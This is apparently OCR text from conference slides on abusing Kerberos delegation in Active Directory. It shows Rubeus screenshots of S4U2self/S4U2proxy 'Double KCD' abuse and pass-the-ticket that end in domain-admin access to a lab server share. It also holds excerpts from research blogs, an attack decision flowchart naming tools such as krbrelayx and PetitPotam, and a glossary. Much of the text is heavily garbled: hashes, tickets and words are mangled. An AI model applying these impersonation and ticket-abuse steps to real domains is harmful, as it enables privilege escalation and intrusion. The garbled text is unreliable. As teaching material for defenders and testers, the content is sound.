UoSOSbhwnfV/VQZvX4]thGSQQBPquSQ]qu7sZLFNDM3yk/ ]vDXm7omZFP IUbynVabSZuyv]dehzOGPbEanTZIWVTBJMZg
60/Q7 321 Sand B0 1V F0DUep AP SUZXOCH2SEUTIRr ONGOZyQLcGr MOLWZIa3t i JF 3 41490RDPUZ PONEWR icS 21 ppdS fhech

ACC gckCqczo0amaccogbOugbonabeaCzAZoACAREhE 200 X6 oo SERSE St T IRBTIAT ShBa

VDT THg00w I TINPTUS L EhBADupHDASOMCAGCHE SARCHS ot 85 W 7 ndct:

i\ (TCCBF LhgoRz 1 sonocss e BAuEqoaL se1eaTs0%mL

quSZw‘ zn.nexm..omdx.aoyzcdmm L Fen /znxxcqthm;uxcmmm ; b/ i NP hic £ xuLafr p

pdr3 140ar 375seuns /1 { tHoBRCTEORT .+ 3UQpXE ol su s jq+Opet P formcirairr
TSH1L7be

fBiL e QBKTALKES 222
stmgduanghokwmn et
saumdehzocpbg(«mmwmngwnvunotmx kNUx /PX7wpBgMATHMCe Y7 St 2PKZ Two SYPVGALKWXUUE FCHFEHOART

207 St 1/b87¢cv/: kZdsh
% VA}zqul1vU7nE]IBVZIQ]XkOmVUQbZNIxxkawaSM1UmNZFeX4IkBWorTuUQZszRZGes1v3\'(0406bNcVMNwZYaVQ/rKIm7ch9e30A!Ayt0MgSUZI»SOSbhwnfV/VQZvXA]thGH)QRququ]qu?sZLFNw}yk/FwSlliyOthmZFPx bynvab
/ QWi+ F 107k xBalEZBbIPTQ3HLICT++Y6XBXWGYVHHKUG0/Q7 321 5andtUBOWM] vy FLODNUEP 1WxPSQZX0CN29tuTIRr OMGO2yQ:
149dRDPYZ S XHNTHR pisheaYuL foo e L9+thF(KOVCSEIZEwl/uvxKKVqHvk]gdkpmthfvsdHnqLSqGQxGDRJDihVegZEF]p]Dt]TFEDAG!MBH'Ig szf
IDMyMDE JAyMIAZM

cordWoLzIa3t 1) er
9L/ jya7nGmOBE TXMALZKTLZAF ezA3CBXoL SnodHUMTHROAMCAQC gc chEgc200ckmgct agbongbongbeacoas N ARahE AN h
31

lewEQTSEpSFGEowaJ TiReTy

3L kh8QOu1 GDAW

[*] Action: Describe Ticket

servicen: selfpecked-pts

ServiceRealm

UserName

UserRealn

StartTime 6 A

EndTime s P

RenewTi11 5 A

Flags e, pre_authent, renewable, forwardable

KeyTyp red.

Basesd(key) i 7XGhx AhhlfdwEQTSEpSF

Kerberoast Hash + Skrbstgs$238 FUSERSDOMAINS sel F-pe-ked- P SFCEOGETOF7 7167 sCar08044030¢r 938408752
C4DB73F 3347087 383F814566283F 77C7EEA626E77C22DABI938
SO0 IBCCaChArONPC 8RB TCBOCON SC2CIALiDE 03545aD06cAdE 1265406 20807EF

3 010FA7 3EBGEGFFD3099F3 S111: c;
30303 SDFCASF IBUSCACADE 1 SHBEO 0400459047 261268466 4505047 IDDDOCICAEBSEDGBF 10
9A7FBIBBSDIFFB2COBER3144776BD9A3CD26096BD1AE 0850 54 EB24C2E540
FF32303F88C624B7EBDC1 22A9FB7 10050355 5€ 399780002 300 1FFF SD7FDB933A3A81C1F264FD4B10
209ED2B1EC27F 3 209 BBAAF A75DF 2BEDD31C6ED26308AD328
F21088B4E87BBFEDD4429C 60BE4F035 36836 5BASE SEBEOF 565196828 2E94BA74D2109C 3216047AD2
2 3200CC067A3AB2C35A9. 267235 /CD78174778569B8A637EDLF 3

320994EADCSEE 3062207 BES LAGEO2E} 280F738 36cH9E0E 209075601
323743 520996848027 6881 CACOFDEF 387 2FFF SE7B2990DCF
5720/ 33EE 73 108FF 70792 DDDCBF AL AGEOE 17463 o3 13EE/ 02 1F BSCCDF D/ FCDCDS SGF02C3352
7B AD1097CB34BAEEL86F99E27 9107/ 987EFAD2OELICS I SGOGET1885F 0831836305000

4c.
3 PADADGORS3 5003 RCCOERSODPICC A 2EF S39CAACROS5LCA A0SR AR A4 16640 31CEH6

2T 3HTYWNDT 1HGgOGWx I TINPTUS JL khBQOUPHDAROANCAQGE ZARGWIZZWxnL XBLWE 1ZC1wdCa=



> (Rubeus example) S4U2proxy abuse - Double KCD (2/4)

> S4U2proxy #1

dc 0 Spt: 4:7807698D9 AQ0369F S CCBag A8 BaEDAGEN0 LT TCCBF gk ML 1EVaADAGEF 040D IOUOSNT
uszFnsemsquwmAazwszbmmhcvnmtazmxsmxoceswEgQawcmehmxuaxcsawsggql/oavcpeurnxmusA77509h4Lzz3pz~nz»mz+snqup3F Kw\ZrmROKqu‘erdReM TSR AL XPaS XA S HDADCwaPNADT I WokRALFQOKY<HIBEBL2 A P b/ IS

Jg6EAOURE FUCKPQdN/ aBunz01HugRdni 049U/ KxzuGZHr eFbhgSknEudNPhKIRmx0uShQR23dZ Jyutelr 8qun+xu12 fywl 62FE2vZ080n2WvUG cFBpks 093 1UNpIF 30311 10PBYIDI X1 a369w K[»iENxTWAS]4DQIwAf/n/ZgM&coNnSmTSSxDQEOIJ7Ssewnﬂ/1JVSZW17euQS7qu9/Nwz1nxﬂ(
Ttoh7j+3UQpxt 6+ JZRMKCGUunTSEJwyF(RGUJwupg(ExINmmerpFk40quc]VKLsZMngBdNuahumMDﬁ)Twy(ZYti?]B\va]chhtEEunoSeb(T oo Tzaxc jcrpl jsdri v/
;. HHR Y TF 1VbwISM1L7bgsArR( 1pY3dblrpraj Shsxr
5 Do 752L FNph o 3 200V TL IAZGUT PN fx?wpxgm1mcev7s(2vxzwm5vPvg4waxqufmeHDAN]saIauS
1 To7kx8: m i v TP SQZXOC: HOLWZTa3ti JFd j41490RDPWZ + FoojXchL gdkps 5+1GQXGDRID3hYegZ6F
P ITINPTUSIL

B R L e A S L NN P AR T A AN o

[*] Action: s4u

51 3 rcd_hmac hash: 7Sﬂ759!DEA(EBEZAS(dlSF]DZADﬂZSQ

F] Beiiding AaRe oy preauthy for:  aneomns. hack\ea]Fpc-ked-pts”
[*] Using domain control er 192.168.56.101:88

[+] T est successfull

1 et

oTF OB S0AnTBaEDAGEHoOTEN JCCBD hgoQuiTTEKGA0AGEEoQIbOETOUOSNTRKUSEFDSSTHME: gan TBAGEVHB bty Y pndsalszb2Luass oMl o4 07 TD3ASC/ Qg WUr et ecVp2qaikoy InhpyIRglucdr LorhgenupeZHbufy
PCFOR3SH7NAUPmSNmu ko 7k, 8XCK2ngcammnYKcGak 1 Omx L inc 20T T SapOksCClsu v 60(](WBTbﬂOsSzG]tfDNR]X(lLIABgVQuZt]BDSZmPKQSf)MSzlthnszgtxaoOSMwSTPpszRJOan]aXxg‘!S}bIkCKHNGlrSwDKNL aYETTYICTUCt 7S/ Xum/210CougaRh T
Uzh1ageniGixze QMUY dSPeouSGKT3ASNNpReCUNGS ADOGT025, T QY IDYGING7 J4VLSTGEHKWS1aFCGO8 TuQu 10hXGnIICEbpKEJ 11 Aoy oS T2UDVeXASAS ubdd up LUOIEkgAVBE/ TDESFGRr G T 4DMT o1 KXOr Pk ng4tosrLaR5an4(uHaJ94NQnKrkOPZHF»m €41 F-DOGER +BhK
SUQLEGRCOAVFF L+ 97 BaTOCHU2GEX] JbZHRTENIZ2F 8200l 11/ EURjo0 X5 ot q:nemswzpspmslvnznanyrqnzxv qYE] mr T51LU1C R Come VAT A eI 0T S ASNSE Sy e VR EapORAP 2257 dPOSBSUOH)
T okuuezRpF3TvtgnL L 3H5u36nSSkKeuEKT nTnsnl g anUBiis4YL T1Thuc) 1206/ 5Y22E: j j7rLh25CzhL] qqjoniFyhi nxu:xosyrcbxo(symcvgxummmwvn/ﬂvams rbdnZix10bm3CG7+2
InPgGdodCyKi bthiKx1qs/ T1hXF/LsgzhC qpi L 819N 7
ig JEkXVeal Syg 1SS IoNotrsb/SeBTRBCL Rk By aCBxjCBNzC: 4 TMBEbD3N
13 AyMj AZMEwM . MvaN]ElloIqgucwx}TTNPTuSJLkhquupITAf AMC

[#] Action: s4u

+] Loaded a TS5 for TNSOUNT HACK\domainadmin .
Inpersunat‘mg r domainadmin’ to target SPN 'cifs/self-pc-ked’
proxy request for service: :cifs/self-pekcd’
ng domain controller: 192.168.56. 1
H Sendmg S4H2pruxy request to domain controller 192.168.56.101:88
U2pro st
Ligd hasQE4((¥(ket kvlﬂ) for sPN 'cifs/self-pc-ked':

doTF/jccBfag CBQIhgqULMI j 8L/
? i TtzMcIi th IZKIL i /nsmqumﬁcnfmzm ﬁnmuzhﬂm
lyIXbrir /0. 179353 ‘,' 0 pbard] q i /L/SWRN yguc 0F 1500331 aAEV InoqTxne
EXVNCRASKTQ/sr KT WpNAL/det 303b3 i k7l>lllgEhGunGFtpKyLZM]x:M94pUJvaer%Lkb%fGi]TFaIvKl Ry quzmdxph
s R e R s astby;IszzwluxkgLv:cs ROt yoEFrgecerr/cl MTHEO 2080an60SUNOB! b3 o0
o 2nGaTcy/UDSNODARA2VGUBAE 3P ahHIHINAUD K 72Kk amkFEpSCSqDKDVCCS V19 419;<mom;7py1rr7susnnhwxhgsxuad1mpwewmzbnztmndszz L/ 8/ NpQUIn0Z001 {TTGOAEYmizal SCWKE JG4VB20r T L /4 R Lowh02CCora3o 6 wor) Do 61 1C0530006
zv+k77xeqrmm]u1qxzeox;<tmyoh[cxsvpdqpn]mgAleremevh?tmoe]frsﬂ 72bu/ QocPXdBzEeSHOVReOqDLL TvapVeZSWE2Jugbcay FOba7t Thidun/BdLCXBOAANML9d4 s a2y KB SR C Zq2py Vi LA Lokt 365 MG MEN3aOHOOhAWNS68 1R T30k
2rAup4J0mCBkBaXR k100984, XER 180Rvay nkzS UDECEMY W INPE7YGx01 Y7 ub FFONCKKC vsa2Xr ST smer i Urvr L as0T19C.AkbS cOswcc zkevsAVtrKOHI}CBOEADAgEAouHLBIHIFV mmcum/umm.s«)asv«,aAmgsxoRIesmzaozzxmr:mn]ms(ohnhsususrmmss
SIQUNLohngqADAgEKzQBwDR D AR AWE AL AAC RGP AV AaH ASN AT TV SREY DSt ol FXHD ot gt RO ByMDTATHYNSE DY GoRANSUS TTO10SSCTaUR aR o ADAGECoROWENEE Y ] noxstc2vez i
wheus exe describe /mket mr/;ccsfggmssasmgzmu[rzxc, Q9hggULMIIFB6ADAGEF 0Q4bDE 10U 9N7kkussrnssxeueygmsAqsvmmamzmxsmbc.vt(m(amkmzz]ccangAmess gEsootey St )/latHEGﬁhhwaDnmJFKbKvZahS9KBGQH62y/om95MR+
ngoBXvUKrERfcprORZLUaF/Yh uNSkVHCaDSE EYGP ez PenoazDdt 1402145V OE VNS 0N umsecmzumssxzmzxnm'ormx/xs i
ke]EuﬂfG LdnybrNr/DJ P 18¢FVZG: 5 % S Ssaoery L
e Xhar LeaoS AL JKdocd, i ]xtMSOplnBMvervMLkbsfGa]TFzTPRI}E4NGAK4x7qUx]RMWBJzﬂAIde
h3Var GuwUB/eubLp! j i j j j ;xxsdhyjlszzmkzxkgL JyyOF Fi geGcTr. wmzszmn i 9sC
10837 an\Co 5 < Gapie 7T ICHKGIGAVE20r 5 TFuLy/4hvW1ZwhDZC
CDtS3918, /3. k17Xeq| i3l jR1gAZT :Ma]fubnﬂ?t/rhlduw/de(xBouNwL i
a iRImF1 pi 0 ...vhulwnvdmwmffc..cxxc‘vs;me 5msrtwvurerLasonxmkbsco j ¢
JBWHFAECHAAC GAYMIAZHIAXN TT0105S5IQUNL oRUWEXSEY2 TmexsLc2 rvao=
—\ I
S 1 [ U [ —
=1 -N—r =
PPN LTI — L 1
oA A ). /i
v2.0.2
[#] Action: Describe Ticket
ServiceNane cifs/selfperked
ServiceRealn
i
UserRealm
StartTine
EndTine
RenewTill 6:15 AU
Tag: uanom(alue pre_authent, renewable, forwardable
KeyType reh
Basebd (key) thJWWxNxEymusuk
Kerberoast Hash : pe
9AB7OF4A07AQ07EBGCBFA2GF 793 11FOBC2DF 20DABADISEF 537ACH4 F7296EC39164B5 1AA7F218A30

ST IE OB OF GAE SACAL 37390 3B PCAROC 2960E DIDECAB0C 1 243 ADATERATECOCARA L3898
SBED4A4SACIDCG83487CI606 IEZBB4GTEADGESAL4 LAB3A7AG71B147 94002244722/ 40P L/ 3R
104496DCCC70888884D480060BDD7 80027 3D2C 1EOCEGB 30DD7E SE3467EE 307 2FB2812FEBCFSD
DEEs 14 36F oL 153 945CCAT0R4 8B A TP IDODECAGE SO ADODOAPDI43D3ASO IERCABBROEF 1OCEOFED




> (Rubeus example) S4U2proxy abuse - Double KCD (3/4)
> S4U2proxy #2

N>
GPiUEZ+ TtzMcIi h IZKIL i ZOK/RSMﬂka]Eu7Vn:~f7T i h LdyIXbrNr, p Ty 2531 ']
3 3phuar93uxk3q0cray i v o GAX93LaAEVL
JKdacs, 1 of ?qxmu?umuvfrq.mu,qfc.]wmnzmm4x7qunmws:zzuxdxpmvmxm/au 2 1
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[*] Action: s4u
1] Using rot-hmac hash: 780769809ACERS2AGCHLEF103A00360F
[*] Building AS-REQ (w/ preauth) for: 'insomni.hack\self-pc-keds'
{*] Using domain contro 88.56.101788"
[+] st success fu
B Daseestticker-kirb:
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[*] Action: s4u

1] Loaded a T6s for INSOUNI HACK\doaainadin
Inpersonating user ‘domajnadwin’ to target SPN ‘cifs/svOl,insomni.hack"
BUSTding SAUSprory request for service:  cifs/svol. insomi -hack

5ing domain controller: 192.168.56.101

Sending Sizproey request”to donain controller 192.168.56.101:88

+] S4U2proxy succes: i L
2] base64(ticket kirbi) for SPN cifs/sv0L. insomn .hack":
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cifs/sv0L.insomni .hack
1ACK.

3 A
Hhae, canantiaTiza, pre_authent, renewable, forwardable
KeyTyp: aes178_cts_hmac_shal

Batebi(key) bvenkhNcTepfvvjGuhqpe
[11AES256 I use but no */serviceuser: passed, unable to generate crackable hash.

PS Ci\>



> (Rubeus example) S4U2proxy abuse - Double KCD (4/4)
> ptt + access

PS C:\> .\Rubeus.exe ptt /ticket:doIGZjCCBMKgAWIBBaEDAGEWOOIFATCCBXFhggVtMIT UOINTH TkMC] YWNr 04 TFKjCCH
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[*] Action: Import Ticket
[+] Ticket successfully imy orted'
PS C:\> 1s \\svO1.insomni.hack\C$

Directory: \\sv01.insomni.hack\C$

Mode LasturiteTime Length Name

3/19/2022 inetpub

3/19/2022  3: Microsoft
7/16/2016  6: perfLogs

3/18/2022 8: Program Fil
7/16/2016  6: Program Files (x86)
3/19/2022  3: Users

3/20/2022  9: Windows

PS C:\>
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Shenanigans Labs

Wagging the Dog: Abusing Resource-
Based Constrained Delegation to Attack
Active Directory

28 January 2019 + Elad Shamir « 41 min read

Back in March 2018, | embarked on an arguably pointless crusade to prove that the
TrustedToAuthForDelegation attribute was meaningless, and that “protocol transition” can be achieved
without it. | believed that security wise, once constrained delegation was enabled (msDS-
AllowedToDelegateTo was not null), it did not matter whether it was configured to use “Kerberos only” or
“any authentication protocol”.

| started the journey with Benjamin Delpy’s (@gentilkiwi) help modifying Kekeo to support a certain
attack that involved invoking S4U2Proxy with a silver ticket without a PAC, and we had partial success,
but the final TGS turned out to be unusable. Ever since then, | kept coming back to it, trying to solve the
problem with different approaches but did not have much success. Until | finally accepted defeat, and
ironically then the solution came up, along with several other interesting abuse cases and new attack
techniques.

TL;DR

This post is lengthy, and | am conscious that many of you do not have the time or attention span to read
it, so | will try to convey the important points first:

1. Resource-based constrained delegation does not require a forwardable TGS when invoking

Wagging the dog

@harmjOy
blog.harmjOy.net

S4U2Pwnage

[Edit 9/29/18] For a better weaponization of constrained delegation abuse,
check out the “s4u” section of the From Kekeo to Rubeus post.

Several weeks ago my workmate Lee Christensen (who helped develop this post
and material) and I spent some time diving into Active Directory’s S4U2Self and
S4U2Proxy protocol extensions. Then, just recently, Benjamin Delpy and Ben

Campbell had an interesting public conversation about the same topic on Twitter.
This culmi d with Benjamin releasing a modification to Kekeo that allows for

easy abuse of S4U misconfigurations. As I was writing this, Ben also published an
excellent post on this very topic, which everyone should read before continuing.
No, seriously, go read Ben’s post first.

YOUGUYS, SERIOUSLY

o e
IM'SERIOUSLY, YOU
S4U2pwnage

@_dirkjan

dirkjanm.io

“Relaying” Kerberos - Having fun with unconstrained
delegation

© 27 minute read

There have been some interesting new developments recently to abuse Kerberos in Active Directory, ani
after my dive into Kerberos across trusts a few months ago, this post is about a relatively unknown (from
attackers but feature: ed Kerberos ion. During the writing of
this blog, this became quite a bit more relevant with the discovery of some interesting RPC calls that can
get Domain Controllers to authenticate to you, which even allow for compromise across forest boundarie
Then there was the discovery of PrivExchange which can make Exchange authenticate in a similar way.
Because tooling for unconstrained delegation abuse is quite scarce, | wrote a new toolkit, krbrelayx,
which can abuse unconstrained delegation and get Ticket Granting Tickets (TGTs) from users connecting
to your host. In this blog we will dive deeper into unconstrained delegation abuse and into some more
advanced attacks that are possible with the krbrelayx toolkit.

Relaying Kerberos???

Before we start off, let's clear up a possible confusion: no, you cannot actually relay Kerberos
authentication in the way you can relay NTLM authentication. The reason the tool I'm releasing is called
krbrelayx is because it works in a way similar to impackets ntimrelayx (and shares quite some parts of th
code). Kerberos tickets are partially encrypted with a key based on the password of the service a user is
authenticating to, so sending this on to a different service is pointless as they won't be able to decrypt the
ticket (and thus we can't authenticate). Update February 2022: Turns out there is more to this than |
thought, and you can now relay Kerberos with krbrelayx. Check out the follow-up blog on this here.

So what does this tool actually do? When Windows authenticates to service- or computer accounts that
have unconstrained delegation enabled, some interesting stuff happens (which I'll explain later on) and
those accounts end up with a usable TGT. If we (as an attacker) are the ones in control of this account,

e e L e e e e e Y S i e S b e e

Unconstrained delegation abuse
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exploit.ph

Abusing Users Configured with Unconstrained Delegation

March 2020in Active Directory

Posted on Sun 15
An interesting situation came up on a recent assessment which triggered me into do a bit of research in the area as I'd seen nothing publi
1'd been really interested in the research dor

in other places, notably here by Sean Metcalfand
work and understand it before continuing, although Il try to give a recap here.

ne on the area of Kerberos Delegation. For this post, Il be discussing Unconstrained Delegati
IFand here by Dirkjan Mollema, amongst others. If you really want to understand what is goir

Unconstrained Delegation 101
Ina nutshetl,unconstrained delegation s when a use or omputer has been granted the abity to impersonate users i an Active Directa
those contained within the Protected Users group or marked Sensitive and cannot be delegated.
What happens in short (read Sean's post if you want a detailed explaination, that's where this section is plagiarised from), after a user hat|
access a sevicethat'sbeen configured for unconstrained delegatin

1. The user presents it's TGT to th DC when requesting a service ticket.

2. The DC opens the TGT &validates PAC checksum - If the DC can open the ticket & the checksum check out, the TGT is valid. The dat
create the service ticket. The DC places a copy of the ser's TGT into the service ticket

3. The service ticket is encrypted using the target service accounts’ NTLM password hash and sent to the user (TGS-REP).
4. The user connects to the server hosting the service on the appropriate port & presents the service ticket (AP-REQ). The service oper
password hash.

The diagram below (also taken from Sean's post) shows the full process:

Domain Controller

snovvcrash.github.io

Abusing Kerberos Constrained Delegation
without Protocol Transition

In this blog post | will go through a study case in abusing Kerberos constrained delegation without protocol
transition (Kerberos only authentication)

S4U2proxy Exchange
Of]o-
Ki

Sends the user's service ticket for Servicet,
along with Service1's own TGT, =
requesting a ticket for Service2

Returns TGS_REP including a service ticket
as the user for Service2

r Exchange impersonating the

>d communication impersonating the user

Kerberos in Active Directory

In this post

thentication part within Active Dire

protoco that

Kerb

How it works

Kerberos is used whene

« Aclient
« A service
+ A Key Distribution Center (KL which is a Domain Controller

hackndo.com

DC)
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‘Account configured
Bl g for delegation is of
what type 2

Control over SPN's.
host ?

Control over an
account that can add
an SPN to the user ?

i
'
no

can try with another
victim ?
\no

a

: Computer accounts have
! SPNs set at their creation and can
add SPNs for themselves

Control = RCE as admin on host,
or ability to spoof the host (e.g
ARP poisoning), or ability to
modify its DNS record (e.g.
ADIDNS poisoning)

Control over SPN's.
host ?

addan SPN addSPN.py

dd a DNS record for]|
the SPN's host dnstool.py Powermad

starta Kerberos
bt krbrelayx.py Rubeus
. printerbug.py SpoolSample
trlgger avictim's petitpotam.py PetitPotam
authentication to = P
privexchange.py PowerPriv

SPN's host
||
||

v Principals sensitive for delegation
Y and members of the "Protected

Users" group don't delegate their
L TGT

victim delegated its |[SS
TGT?

Extract and use the
TGT with pass-th
ticket

b 2

Protocol transition
enabled ?

Account configured
for delegation Is of

Control over an
account that can add
an SPN o the user 2

Control over anoter
account (B) that has
Jan SPN + Control over|
the initial account
(A)'s "rbed attribute”

"rbed attribute” = msDS-
AllowedToActOnBehalfOfOtheridentity
Computer accounts can edit their own

rbed attribute

Computer accounts have an SPN
and can edit their own rbed
attribute. In this case, A=B, rbcd
can be set to itself.

getST.py

H

add an SPN addSPN.py SetSPN

Add B to A's rbed rbed.py Set-ADComputer

With B creds,

getST.py Rubeus

Service Tickets of principals
sensitive for delegation and
members of the "Protected Users”
group will not be have the

FORWARDABLE flag

Obtained a
forwardable ST 2

With A creds, obtain a
forwardable ST with
S4U2Proxy and the Extract and use the
ST with pass-the-
ticket

target
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Long Term key (RC4, DES or AES128/256)
Password hash (NT hash = RC4 LT key)
Privilege Attribute Certificate
Authentication Service, offered by KDC
Ticket Granting Service, offered by KDC
Key Distribution Center, usually the DC
Domain Controller

Service Principal Name

Pre Authentication *

Ticket Granting Ticket

Service Ticket

Kerberos Unconstrained Delegation

Kerberos Constrained Delegation

Protocol Transition

Resource-Based Constrained Delegation
Service-For-User to [User/Self]

Discretionary Access Control List (list of ACEs)

Access Control Entry



Impacket & script used to enumerate Kerberos delegations across a domain.
Impacket & script to request TGTs

Impacket & script to request Service Tickets, with or without S4U

Impacket &. script to decode and decrypt information stored in ccache ticket
Impacket & script to convert ccache/kirbi tickets

Impacket & script to substitute service class/name/realm in a ccache ticket

C# Kerberos manipulation toolset (ticket requests, renewal, forgery, management, extraction, harvesting, ..

Active Directory relationships mapper and excavator
Theoretical and practical guides on offensive techniques. Mostly focused on AD at the moment

Docker images and Python wrapper. Multi-containers management. Pre-configured, customized,
community-driven images

)
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